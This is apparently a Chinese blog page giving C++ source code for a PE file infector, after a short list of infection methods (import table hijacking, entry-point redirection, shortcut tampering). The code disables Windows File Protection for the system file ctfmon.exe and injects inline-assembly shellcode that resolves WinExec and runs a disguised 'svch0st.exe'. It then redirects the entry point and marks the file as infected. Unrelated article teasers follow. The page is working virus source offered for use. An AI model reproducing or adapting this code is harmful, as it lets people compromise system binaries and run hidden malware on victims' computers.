PE文件的感染C++源代碼

PE文件的感染C++源代碼

PE文件規定了可執行文件的格式,凡是符合此格式的文件都能在windows系統上運行。PE文件的格式暫且不談,說一些感染PE文件的幾種途徑。


導入表感染。這個涉及比較復雜的操作,首先,要自行寫一個dll文件,提供程序中對原dll引用的所有函數,然后增加一個節區,修改ImportAddress中的地址,使其指向新增加的節,這樣,程序加載后,只要調用相關函數,就會先執行自己寫的dll,執行完后,再跳轉到原代碼人口處執行。


導入地址感染。這個相對簡單些,在PE文件頭部分,IMAGE_OPTION_HEADER中有個ImportAddress目錄,這個目錄中只是一些jmp指令,我們可以修改jmp指令跳轉的地址,使其指向在PE文件中我們新增加的代碼。這需要在原PE文件中增加代碼,PE文件在硬盤上默認200H字節對齊,一般存有空隙,如果代碼量小,不用增加新節就可以插入代碼。


修改入口函數地址。這個是最省事的辦法,在原PE文件中新增加一個節,計算新節的RVA,然后修改入口代碼,使其指向新增加的節。當然,如果.text節空隙足夠大的話,不用添加新節也可以。


修改快捷方式文件。如果PE文件存在快捷方式,可以先行感染快捷方式,使快捷方式指向自己寫的程序,自寫程序啟動后,再執行真正的PE文件。這種做法比較猥瑣,而且不可靠。

?

?

#include <stdio.h>
#include<windows.h>
#include<TCHAR.h>
#include <shlwapi.h>


typedef DWORD WINAPI SfcFileException(DWORD dwUnknown0, PWCHAR pwszFile, DWORD dwUnknown1);

void KillSFC()
{
??? WCHAR drvpath[MAX_PATH]={0};
???
??? GetSystemDirectoryW(drvpath,sizeof(drvpath));
??? wcscat(drvpath,L"\\ctfmon.exe");
??? HMODULE hModule = LoadLibraryA("SFC.DLL");
??? SfcFileException *SfcFileExc = (SfcFileException (__stdcall *))GetProcAddress(hModule,(LPCSTR)5);
??? SfcFileExc(0,drvpath,-1);
? FreeLibrary(hModule);
??? return;
}

?

int InjectPE()
{
? IMAGE_NT_HEADERS ntHeader;
? IMAGE_SECTION_HEADER SecInject;
? FILE* pFile;
? char systemPath[MAX_PATH];
? GetSystemDirectoryA(systemPath,sizeof(systemPath));
? char szFileName[MAX_PATH] = "\\ctfmon.exe";
? strcat(systemPath,szFileName);
? strcpy(szFileName,systemPath);
?
? KillSFC();
?

? if((pFile=fopen(szFileName,"rb+"))==NULL)//打開文件失敗則退出
? {
??? printf("打開文件失敗\n");
??? return 0;
? }
?
? fseek(pFile,0x3c,0);
? DWORD pNT;
? fread(&pNT,sizeof(DWORD),1,pFile);
? fseek(pFile,pNT,SEEK_SET);
? fread(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile); //讀取NT頭
?
?
? //保存舊入口地址
? int sectionNum = ntHeader.FileHeader.NumberOfSections;
? int OldEntryPoint = ntHeader.OptionalHeader.AddressOfEntryPoint;
?
? goto shellend;
__asm
{
??? shell:? PUSHAD
??? MOV? EAX,DWORD PTR FS:[30H]? ;FS:[30H]指向PEB
??? MOV? EAX,DWORD PTR [EAX+0CH]? ;獲取PEB_LDR_DATA結構的指針
??? MOV? EAX,DWORD PTR [EAX+1CH] ;獲取LDR_MODULE鏈表表首結點的inInitializeOrderModuleList成員的指針
??? MOV? EAX,DWORD PTR [EAX]? ;LDR_MODULE鏈表第二個結點的inInitializeOrderModuleList成員的指針
??? MOV? EAX,DWORD PTR [EAX+08H]? ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模塊基址
??? MOV? EBP,EAX??? ;? 將Kernel32.dll模塊基址地址放至kernel中
??? MOV? EAX,DWORD PTR [EAX+3CH]? ;指向IMAGE_NT_HEADERS
??? MOV? EAX,DWORD PTR [EBP+EAX+120]? ;指向導出表
??? MOV? ECX,[EBP+EAX+24]? ;取導出表中導出函數名字的數目
??? MOV? EBX,[EBP+EAX+32]??? ;取導出表中名字表的地址
??? ADD? EBX,EBP
??? PUSH WORD? PTR 0X00????? ;構造GetProcAddress字符串
??? PUSH DWORD PTR 0X73736572
??? PUSH DWORD PTR 0X64644163
??? PUSH DWORD PTR 0X6F725074
??? PUSH WORD PTR 0X6547
??? MOV? EDX,ESP
??? PUSH ECX

???
F1:?
??? MOV? EDI,EDX
??? POP? ECX
??? DEC? ECX
??? TEST? ECX,ECX
??? JZ? EXIT
??? MOV? ESI,[EBX+ECX*4]???
??? ADD? ESI,EBP
??? PUSH? ECX
??? MOV? ECX,15
??? REPZ? CMPSB
??? TEST? ECX,ECX
??? JNZ? F1
?
??? POP? ECX
??? MOV? ESI,[EBP+EAX+36]? ;取得導出表中序號表的地址
??? ADD? ESI,EBP
??? MOVZX? ESI,WORD PTR[ESI+ECX*2]??? ;取得進入函數地址表的序號
??? MOV? EDI,[EBP+EAX+28]? ;取得函數地址表的地址
??? ADD? EDI,EBP
??? MOV? EDI,[EDI+ESI*4]??? ;取得GetProcAddress函數的地址
??? ADD? EDI,EBP?????
??? PUSH WORD PTR 0X00?????????????
??? PUSH DWORD PTR 0X636578? ;構造WinExec字符串
??? PUSH DWORD PTR 0X456E6957
??? PUSH ESP
??? PUSH? EBP????? ;
??? CALL? EDI????? ;調用GetProcAddress取得WinExec函數的地址
???
???
??? XOR???? EBX,EBX
??? PUSH??? EBX
??? PUSH? WORD PTR 0X00??? ;構造svch0st.exe符串.
??? PUSH? DWORD PTR 0X455845?
??? PUSH??? DWORD PTR 0X2E545330
??? PUSH? DWORD PTR 0X48435653
??? PUSH? ESP
??? CALL? EAX
EXIT:? ADD ESP,40????? ;平衡堆棧
??? POPAD
}
? shellend:
??? char *pShell;
??? int nShellLen;
???
__asm
{
??? LEA EAX,shell
??? MOV pShell,EAX;
??? LEA EBX,shellend
??? SUB EBX,EAX
??? MOV nShellLen,EBX
}
?
int i;

?

for(i=0;i<sectionNum;i++)
? {
?? fseek(pFile,pNT+248+i*40,SEEK_SET);? //定位到節表開始處
?? fread(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile);
?? DWORD pInfect = SecInject.PointerToRawData + SecInject.Misc.VirtualSize+5;
?? WORD Sign;
?? fseek(pFile,pInfect,SEEK_SET);
?? fread(&Sign,sizeof(WORD),1,pFile);
?? if(Sign == 0x1122)? //已經感染過,結束程序.
?? {
???? //MessageBoxA(NULL,"已感染過","msg",MB_OK);
???? return 0;
?? }
?? if((int)(SecInject.SizeOfRawData-SecInject.Misc.VirtualSize)>nShellLen)
??? break;
? }
?
if(i>=sectionNum)
{
? printf("找不到適合插入的節");
? return 0;
}
? DWORD lpCodeRVA = SecInject.VirtualAddress + SecInject.Misc.VirtualSize;??
? DWORD lpCodeOffs = SecInject.PointerToRawData + SecInject.Misc.VirtualSize; //添加代碼的文件偏移
? /*修改入口點地址并寫回NT HEADER中*/
? ntHeader.OptionalHeader.AddressOfEntryPoint = lpCodeRVA;?
? fseek(pFile,pNT,SEEK_SET);
? fwrite(&ntHeader,sizeof(IMAGE_NT_HEADERS),1,pFile);

? SecInject.Characteristics = SecInject.Characteristics|IMAGE_SCN_MEM_READ|IMAGE_SCN_MEM_EXECUTE; //節屬性改成可讀、可執行
? SecInject.Misc.VirtualSize += nShellLen;
? fseek(pFile,pNT+248+i*40,SEEK_SET);? //文件指針移動到SecInject的首址
? fwrite(&SecInject,sizeof(IMAGE_SECTION_HEADER),1,pFile); //將修改后的節信息寫回文件中

? /*寫入SHELLCODE*/
? fseek(pFile,lpCodeOffs,SEEK_SET);? //定位到添加代碼的文件偏移
? for(i=0;i<nShellLen;i++)
? fputc(pShell[i],pFile);
? //SHELLCODE之后是跳轉到原OEP的指令
?????
? BYTE jmp = 0xE9;
? OldEntryPoint = OldEntryPoint-(lpCodeRVA+nShellLen)-5;
? fwrite(&jmp, sizeof(jmp), 1, pFile);
? fwrite(&OldEntryPoint, sizeof(OldEntryPoint), 1, pFile);
? WORD InfectSign=0x1122; // 感染標志
? fwrite(&InfectSign,sizeof(WORD),1,pFile);
? fclose(pFile);
? //MessageBoxA(NULL,"注入成功","INFO",MB_OK);
? return 0;
}

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/388536.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/388536.shtml
英文地址,請注明出處:http://en.pswp.cn/news/388536.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

c語言實驗四報告,湖北理工學院14本科C語言實驗報告實驗四數組

湖北理工學院14本科C語言實驗報告實驗四 數組.doc實驗四 數 組實驗課程名C語言程序設計專業班級 14電氣工程2班 學號 201440210237 姓名 熊帆 實驗時間 5.12-5.26 實驗地點 K4-208 指導教師 祁文青 一、實驗目的和要求1. 掌握一維數組和二維數組的定義、賦值和輸入輸出的方法&a…

c語言宏定義

一. #define是C語言中提供的宏定義命令&#xff0c;其主要目的是為程序員在編程時提供一定的方便&#xff0c;并能在一定程度上提高程序的運行效率&#xff0c;但學生在學習時往往不能理解該命令的本質&#xff0c;總是在此處產生一些困惑&#xff0c;在編程時誤用該命令&#…

rabbitmq channel參數詳解【轉】

1、Channel 1.1 channel.exchangeDeclare()&#xff1a; type&#xff1a;有direct、fanout、topic三種durable&#xff1a;true、false true&#xff1a;服務器重啟會保留下來Exchange。警告&#xff1a;僅設置此選項&#xff0c;不代表消息持久化。即不保證重啟后消息還在。原…

感染EXE文件代碼(C++)

C代碼#include <windows.h> #include <winnt.h> #include <stdio.h> #include <assert.h> #define DEBUG 1 #define EXTRA_CODE_LENGTH 18 #define SECTION_SIZE 0x1000 #define SECTION_NAME ".eViLhsU" #define F…

nlp gpt論文_GPT-3:NLP鎮的最新動態

nlp gpt論文什么是GPT-3&#xff1f; (What is GPT-3?) The launch of Open AI’s 3rd generation of the pre-trained language model, GPT-3 (Generative Pre-training Transformer) has got the data science fraternity buzzing with excitement!Open AI的第三代預訓練語言…

真實不裝| 阿里巴巴新人上路指北

新手上路&#xff0c;總想聽聽前輩們分享他們走過的路。橙子選取了阿里巴巴合伙人逍遙子&#xff08;阿里巴巴集團CEO&#xff09; 、Eric&#xff08;螞蟻金服董事長兼CEO&#xff09;、Judy&#xff08;阿里巴巴集團CPO&#xff09;的幾段分享&#xff0c;他們是如何看待職場…

小程序學習總結

上個周末抽空了解了一下小程序,現在將所學所感記錄以便日后翻看;需要指出的是我就粗略過了下小程序的api了解了下小程序的開發流程以及工具的使用,然后寫了一個小程序的demo;在我看來,如果有前端基礎學習小程序無異于錦上添花了,而我這個三年的碼農雖也寫過不少前端代碼但離專業…

tomcat java環境配置

jsp 環境變量配置 一、配置JDK 首先&#xff0c;從Sun網站上下載jdk。 雙擊jdk-1_5_0_04-windows-i586-p.exe開始安裝&#xff0c;默認安裝到C:/Program Files/Java/jdk1.5.0_04&#xff0c;你也可以更改路徑&#xff0c;但要記住最后選擇的路徑&#xff0c;設置環境變量的時候…

uber 數據可視化_使用R探索您在Uber上的活動:如何分析和可視化您的個人數據歷史記錄

uber 數據可視化Perhaps, dear reader, you are too young to remember that before, the only way to request a particular transport service such as a taxi was to raise a hand to make a signal to an available driver, who upon seeing you would stop if he was not …

java B2B2C springmvc mybatis電子商城系統(四)Ribbon

2019獨角獸企業重金招聘Python工程師標準>>> 一&#xff1a;Ribbon是什么&#xff1f; Ribbon是Netflix發布的開源項目&#xff0c;主要功能是提供客戶端的軟件負載均衡算法&#xff0c;將Netflix的中間層服務連接在一起。Ribbon客戶端組件提供一系列完善的配置項如…

c語言函數的形參有幾個,C中子函數最多有幾個形參

該樓層疑似違規已被系統折疊 隱藏此樓查看此樓C89 31個&#xff0c;C99 127個。ANSI C892.2.4.1 Translation limitsThe implementation shall be able to translate and execute at least one program that contains at least one instance of every one of the following lim…

Linux上Libevent的安裝

1、下載wget -O libevent-2.0.21-stable.tar.gz https://github.com/downloads/libevent/libevent/libevent-2.0.21-stable.tar.gz2、解壓 tar zxvf libevent-2.0.21-stable.tar.gz3、配置安裝路徑 cd libevent-2.0.21-stable ./configure -prefix/usr4、編譯并安裝 make make …

Win7安裝oracle 10 g

開始-運行-輸入hdwwiz-回車 ——選則手動 ——網絡適配器——左邊選Microsoft&#xff0c;右邊找到Microsoft Loopback Adapter ——完成 打開 控制面板\網絡和 Internet\網絡和共享中心 會發現多了一個本地連接 點詳細信息 發現是Microsoft Loopback Adapter的。…

基于plotly數據可視化_[Plotly + Datashader]可視化大型地理空間數據集

基于plotly數據可視化簡介(我們將創建的內容)&#xff1a; (Introduction (what we’ll create):) Unlike the previous tutorials in this map-based visualization series, we will be dealing with a very large dataset in this tutorial (about 2GB of lat, lon coordinat…

Centos用戶和用戶組管理

inux系統是一個多用戶多任務的分時操作系統&#xff0c;任何一個要使用系統資源的用戶&#xff0c;都必須首先向系統管理員申請一個賬號&#xff0c;然后以這個賬號的身份進入系統。1、添加新的用戶賬號使用useradd命令&#xff0c;其語法如下&#xff1a;useradd 選項 用戶名-…

吹氣球問題的C語言編程,C語言怎樣給一個數組中的數從大到小排序

滿意答案#include "stdio.h"int main(){int i,j;int a[12];for(i1; i<10; i)scanf("%d",&a[i]);for(i1; i<10; i)for(ji; j<10; j)if(a[i]{int ta[i];a[i]a[j];a[j]t;}//前十個數的排序for(i1; i<10; i)printf("%d ",a[i]);prin…

裴波那契數列

斐波那契數列&#xff1a;0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55, 89, 144, ... 求斐波那契數列第 n 項的值&#xff1a; 方法一&#xff1a;遞歸 function fibonacci(n) {if (!Number.isSafeInteger(n) || n < 0) {return;}if (n 0 || n 1) {return n;} else {return fibo…

劃痕實驗 遷移面積自動統計_從Jupyter遷移到合作實驗室

劃痕實驗 遷移面積自動統計If you want to use Google Colaboratory to perform your data analysis, for building data pipelines and data visualizations, here is the beginners’ guide to migrate from one tool to the other.如果您想使用Google Colaboratory進行數據分…

英法德三門語言同時達到c1,【分享】插翅而飛的孩子(轉載)

微信轉來的&#xff0c;覺得發人深思&#xff0c;轉來這里插翅而飛的孩子(一)開篇一&#xff1a;讓孩子擁有一雙豐滿的翅膀。作者簡介&#xff1a;英華蘭的Dr.Bing,德國兒童教育學博士&#xff0c;數字媒體碩士和計算機軟件工程本科。精通英法德三門語言&#xff0c;從事兒童語…

數據庫建表賦予權限語句

sqlplus /nologconn / as sysdba//創建臨時表空間create temporary tablespace zfmi_temptempfile D:\oracle\oradata\zfmi\zfmi_temp.dbf size 32m autoextend on next 32m maxsize 2048mextent management local;//tempfile參數必須有//創建數據表空間create tablespace zfmi…